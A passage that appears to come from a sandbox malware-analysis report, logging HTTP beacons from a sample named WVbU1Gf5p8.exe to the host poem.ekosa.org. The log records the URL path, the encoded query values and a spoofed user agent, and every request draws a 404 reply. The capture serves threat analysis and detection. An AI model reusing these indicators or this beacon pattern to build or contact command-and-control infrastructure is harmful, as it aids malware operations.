6f 74 20 66 6f 75 6e 64 2e 3c 2f 70 3e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd"><HTML><HEAD><TITLE>Not Found</TITLE><META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD><BODY><h2>Not Found</h2><hr><p>HTTP Error 404. The requested resource is not found.</p></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
26	192.168.2.4	49790	210.116.91.80	80	C:\Users\user\Desktop\WVbU1Gf5p8.exe

Timestamp	kBytes transferred	Direction	Data
Jan 11, 2021 17:55:12.345470905 CET	397	OUT	GET /intro/info/info.asp?search=2tjbpK6urq6urq6u HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: poem.ekosa.org Connection: Keep-Alive
Jan 11, 2021 17:55:12.610202074 CET	397	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=us-ascii Server: Microsoft-HTTPAPI/2.0 Date: Mon, 11 Jan 2021 16:55:12 GMT Connection: close Content-Length: 315 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 54 49 54 4c 45 3e 0d 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 73 2d 61 73 63 69 69 22 3e 3c 2f 48 45 41 44 3e 0d 0a 3c 42 4f 44 59 3e 3c 68 32 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 32 3e 0d 0a 3c 68 72 3e 3c 70 3e 48 54 54 50 20 45 72 72 6f 72 20 34 30 34 2e 20 54 68 65 20 72 65 71 75 65 73 74 65 64 20 72 65 73 6f 75 72 63 65 20 69 73 20 6e 6f 74 20 66 6f 75 6e 64 2e 3c 2f 70 3e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd"><HTML><HEAD><TITLE>Not Found</TITLE><META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD><BODY><h2>Not Found</h2><hr><p>HTTP Error 404. The requested resource is not found.</p></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
260	192.168.2.4	50040	210.116.91.80	80	C:\Users\user\Desktop\WVbU1Gf5p8.exe

Timestamp	kBytes transferred	Direction	Data
Jan 11, 2021 17:57:27.832099915 CET	5312	OUT	GET /intro/info/info.asp?search=2tjbpK6urq6urq6u HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: poem.ekosa.org Connection: Keep-Alive
Jan 11, 2021 17:57:28.093781948 CET	5312	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=us-ascii Server: Microsoft-HTTPAPI/2.0 Date: Mon, 11 Jan 2021 16:57:27 GMT Connection: close Content-Length: 315 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 54 49 54 4c 45 3e 0d 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 73 2d 61 73 63 69 69 22 3e 3c 2f 48 45 41 44 3e 0d 0a 3c 42 4f 44 59 3e 3c 68 32 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 32 3e 0d 0a 3c 68 72 3e 3c 70 3e 48 54 54 50 20 45 72 72 6f 72 20 34 30 34 2e 20 54 68 65 20 72 65 71 75 65 73 74 65 64 20 72 65 73 6f 75 72 63 65 20 69 73 20 6e 6f 74 20 66 6f 75 6e 64 2e 3c 2f 70 3e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd"><HTML><HEAD><TITLE>Not Found</TITLE><META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD><BODY><h2>Not Found</h2><hr><p>HTTP Error 404. The requested resource is not found.</p></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
261	192.168.2.4	50041	210.116.91.80	80	C:\Users\user\Desktop\WVbU1Gf5p8.exe

Timestamp	kBytes transferred	Direction	Data
Jan 11, 2021 17:57:28.470154047 CET	5313	OUT	GET /intro/info/info.asp?id=dn678 HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: poem.ekosa.org Connection: Keep-Alive
Jan 11, 2021 17:57:28.729583979 CET	5313	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=us-ascii Server: Microsoft-HTTPAPI/2.0 Date: Mon, 11 Jan 2021 16:57:27 GMT Connection: close Content-Length: 315 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 54 49 54 4c 45 3e 0d 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 73 2d 61 73 63 69 69 22 3e 3c 2f 48 45 41 44 3e 0d 0a 3c 42 4f 44 59 3e 3c 68 32 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 32 3e 0d 0a 3c 68 72 3e 3c 70 3e 48 54 54 50 20 45 72 72 6f 72 20 34 30 34 2e 20 54 68 65 20 72 65 71 75 65 73 74 65 64 20 72 65 73 6f 75 72 63 65 20 69 73 20 6e 6f 74 20 66 6f 75 6e 64 2e 3c 2f 70 3e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd"><HTML><HEAD><TITLE>Not Found</TITLE><META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD><BODY><h2>Not Found</h2><hr><p>HTTP Error 404. The requested resource is not found.</p></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
262	192.168.2.4	50042	210.116.91.80	80	C:\Users\user\Desktop\WVbU1Gf5p8.exe

Timestamp	kBytes transferred	Direction	Data
Jan 11, 2021 17:57:28.999576092 CET	5314	OUT	GET /intro/info/info.asp?search=2tjbpK6urq6urq6u HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: poem.ekosa.org Connection: Keep-Alive
Jan 11, 2021 17:57:29.262648106 CET	5315	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=us-ascii Server: Microsoft-HTTPAPI/2.0 Date: Mon, 11 Jan 2021 16:57:29 GMT Connection: close Content-Length: 315 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 54 49 54 4c 45 3e 0d 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 73 2d 61 73 63 69 69 22 3e 3c 2f 48 45 41 44 3e 0d 0a 3c 42 4f 44 59 3e 3c 68 32 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 32 3e 0d 0a 3c 68 72 3e 3c 70 3e 48 54 54 50 20 45 72 72 6f 72 20 34 30 34 2e 20 54 68 65 20 72 65 71 75 65 73 74 65 64 20 72 65 73 6f 75 72 63 65 20 69 73 20 6e 6f 74 20 66 6f 75 6e 64 2e 3c 2f 70 3e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd"><HTML><HEAD><TITLE>Not Found</TITLE><META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD><BODY><h2>Not Found</h2><hr><p>HTTP Error 404. The requested resource is not found.</p></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
263	192.168.2.4	50043	210.116.91.80	80	C:\Users\user\Desktop\WVbU1Gf5p8.exe

Timestamp	kBytes transferred	Direction	Data
Jan 11, 2021 17:57:29.535096884 CET	5315	OUT	GET /intro/info/info.asp?search=2tjbpK6urq6urq6u HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: poem.ekosa.org Connection: Keep-Alive
Jan 11, 2021 17:57:29.799536943 CET	5316	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=us-ascii Server: Microsoft-HTTPAPI/2.0 Date: Mon, 11 Jan 2021 16:57:29 GMT Connection: close Content-Length: 315 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 54 49 54 4c 45 3e 0d 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 73 2d 61 73 63 69 69 22 3e 3c 2f 48 45 41 44 3e 0d 0a 3c 42 4f 44 59 3e 3c 68 32 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 32 3e 0d 0a 3c 68 72 3e 3c 70 3e 48 54 54 50 20 45 72 72 6f 72 20 34 30 34 2e 20 54 68 65 20 72 65 71 75 65 73 74 65 64 20 72 65 73 6f 75 72 63 65 20 69 73 20 6e 6f 74 20 66 6f 75 6e 64 2e 3c 2f 70 3e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd"><HTML><HEAD><TITLE>Not Found</TITLE><META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD><BODY><h2>Not Found</h2><hr><p>HTTP Error 404. The requested resource is not found.</p></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
264	192.168.2.4	50044	210.116.91.80	80	C:\Users\user\Desktop\WVbU1Gf5p8.exe

Timestamp	kBytes transferred	Direction	Data
Jan 11, 2021 17:57:30.203625917 CET	5317	OUT	GET /intro/info/info.asp?id=dn678 HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: poem.ekosa.org Connection: Keep-Alive
Jan 11, 2021 17:57:30.465909004 CET	5317	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=us-ascii Server: Microsoft-HTTPAPI/2.0 Date: Mon, 11 Jan 2021 16:57:30 GMT Connection: close Content-Length: 315 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 54 49 54 4c 45 3e 0d 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 73 2d 61 73 63 69 69 22 3e 3c 2f 48 45 41 44 3e 0d 0a 3c 42 4f 44 59 3e 3c 68 32 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 32 3e 0d 0a 3c 68 72 3e 3c 70 3e 48 54 54 50 20 45 72 72 6f 72 20 34 30 34 2e 20 54 68 65 20 72 65 71 75 65 73 74 65 64 20 72 65 73 6f 75 72 63 65 20 69 73 20 6e 6f 74 20 66 6f 75 6e 64 2e 3c 2f 70 3e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd"><HTML><HEAD><TITLE>Not Found</TITLE><META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD><BODY><h2>Not Found</h2><hr><p>HTTP Error 404. The requested resource is not found.</p></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
265	192.168.2.4	50045	210.116.91.80	80	C:\Users\user\Desktop\WVbU1Gf5p8.exe

Timestamp	kBytes transferred	Direction	Data
Jan 11, 2021 17:57:30.735768080 CET	5318	OUT	GET /intro/info/info.asp?search=2tjbpK6urq6urq6u HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: poem.ekosa.org Connection: Keep-Alive
Jan 11, 2021 17:57:30.998259068 CET	5318	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=us-ascii Server: Microsoft-HTTPAPI/2.0 Date: Mon, 11 Jan 2021 16:57:30 GMT Connection: close Content-Length: 315 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 54 49 54 4c 45 3e 0d 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 73 2d 61 73 63 69 69 22 3e 3c 2f 48 45 41 44 3e 0d 0a 3c 42 4f 44 59 3e 3c 68 32 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 32 3e 0d 0a 3c 68 72 3e 3c 70 3e 48 54 54 50 20 45 72 72 6f 72 20 34 30 34 2e 20 54 68 65 20 72 65 71 75 65 73 74 65 64 20 72 65 73 6f 75 72 63 65 20 69 73 20 6e 6f 74 20 66 6f 75 6e 64 2e 3c 2f 70 3e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd"><HTML><HEAD><TITLE>Not Found</TITLE><META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD><BODY><h2>Not Found</h2><hr><p>HTTP Error 404. The requested resource is not found.</p></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
266	192.168.2.4	50046	210.116.91.80	80	C:\Users\user\Desktop\WVbU1Gf5p8.exe

Timestamp	kBytes transferred	Direction	Data
Jan 11, 2021 17:57:31.264834881 CET	5319	OUT	GET /intro/info/info.asp?search=2tjbpK6urq6urq6u HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: poem.ekosa.org Connection: Keep-Alive
Jan 11, 2021 17:57:31.526848078 CET	5320	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=us-ascii Server: Microsoft-HTTPAPI/2.0 Date: Mon, 11 Jan 2021 16:57:31 GMT Connection: close Content-Length: 315 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 54 49 54 4c 45 3e 0d 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 73 2d 61 73 63 69 69 22 3e 3c 2f 48 45 41 44 3e 0d 0a 3c 42 4f 44 59 3e 3c 68 32 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 32 3e 0d 0a 3c 68 72 3e 3c 70 3e 48 54 54 50 20 45 72 72 6f 72 20 34 30 34 2e 20 54 68 65 20 72 65 71 75 65 73 74 65 64 20 72 65 73 6f 75 72 63 65 20 69 73 20 6e 6f 74 20 66 6f 75 6e 64 2e 3c 2f 70 3e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd"><HTML><HEAD><TITLE>Not Found</TITLE><META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD><BODY><h2>Not Found</h2><hr><p>HTTP Error 404. The requested resource is not found.</p></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
267	192.168.2.4	50047	210.116.91.80	80	C:\Users\user\Desktop\WVbU1Gf5p8.exe

Timestamp	kBytes transferred	Direction	Data
Jan 11, 2021 17:57:31.912024021 CET	5320	OUT	GET /intro/info/info.asp?id=dn678 HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: poem.ekosa.org Connection: Keep-Alive
Jan 11, 2021 17:57:32.174684048 CET	5321	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=us-ascii Server: Microsoft-HTTPAPI/2.0 Date: Mon, 11 Jan 2021 16:57:31 GMT Connection: close Content-Length: 315 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 54 49 54 4c 45 3e 0d 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 73 2d 61 73 63 69 69 22 3e 3c 2f 48 45 41 44 3e 0d 0a 3c 42 4f 44 59 3e 3c 68 32 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 32 3e 0d 0a 3c 68 72 3e 3c 70 3e 48 54 54 50 20 45 72 72 6f 72 20 34 30 34 2e 20 54 68 65 20 72 65 71 75 65 73 74 65 64 20 72 65 73 6f 75 72 63 65 20 69 73 20 6e 6f 74 20 66 6f 75 6e 64 2e 3c 2f 70 3e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd"><HTML><HEAD><TITLE>Not Found</TITLE><META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD><BODY><h2>Not Found</h2><hr><p>HTTP Error 404. The requested resource is not found.</p></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
268	192.168.2.4	50048	210.116.91.80	80	C:\Users\user\Desktop\WVbU1Gf5p8.exe

Timestamp	kBytes transferred	Direction	Data
Jan 11, 2021 17:57:32.447808027 CET	5322	OUT	GET /intro/info/info.asp?search=2tjbpK6urq6urq6u HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: poem.ekosa.org Connection: Keep-Alive
Jan 11, 2021 17:57:32.707947969 CET	5322	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=us-ascii Server: Microsoft-HTTPAPI/2.0 Date: Mon, 11 Jan 2021 16:57:32 GMT Connection: close Content-Length: 315 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 54 49 54 4c 45 3e 0d 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 73 2d 61 73 63 69 69 22 3e 3c 2f 48 45 41 44 3e 0d 0a 3c 42 4f 44 59 3e 3c 68 32 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 32 3e 0d 0a 3c 68 72 3e 3c 70 3e 48 54 54 50 20 45 72 72 6f 72 20 34 30 34 2e 20 54 68 65 20 72 65 71 75 65 73 74 65 64 20 72 65 73 6f 75 72 63 65 20 69 73 20 6e 6f 74 20 66 6f 75 6e 64 2e 3c 2f 70 3e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd"><HTML><HEAD><TITLE>Not Found</TITLE><META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD><BODY><h2>Not Found</h2><hr><p>HTTP Error 404. The requested resource is not found.</p></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
269	192.168.2.4	50049	210.116.91.80	80	C:\Users\user\Desktop\WVbU1Gf5p8.exe

Timestamp	kBytes transferred	Direction	Data
Jan 11, 2021 17:57:32.992369890 CET	5323	OUT	GET /intro/info/info.asp?search=2tjbpK6urq6urq6u HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: poem.ekosa.org Connection: Keep-Alive
Jan 11, 2021 17:57:33.263003111 CET	5323	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=us-ascii Server: Microsoft-HTTPAPI/2.0 Date: Mon, 11 Jan 2021 16:57:32 GMT Connection: close Content-Length: 315 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 54 49 54 4c 45 3e 0d 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 73 2d 61 73 63 69 69 22 3e 3c 